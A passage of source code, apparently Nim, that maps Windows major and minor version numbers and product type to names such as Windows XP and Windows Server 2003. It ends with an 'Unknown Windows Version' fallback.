return "Windows Server 2008"
|
||||
else:
|
||||
discard
|
||||
|
||||
elif major == 5:
|
||||
if minor == 2:
|
||||
if productType == WORKSTATION:
|
||||
return "Windows XP x64 Edition"
|
||||
else:
|
||||
return "Windows Server 2003"
|
||||
elif minor == 1:
|
||||
return "Windows XP"
|
||||
else:
|
||||
discard
|
||||
|
||||
return "Unknown Windows Version"
|
||||
Reference in New Issue
Block a user